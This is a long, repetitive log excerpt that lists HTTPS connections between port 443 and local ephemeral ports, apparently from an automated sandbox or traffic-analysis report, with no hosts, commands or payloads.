Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
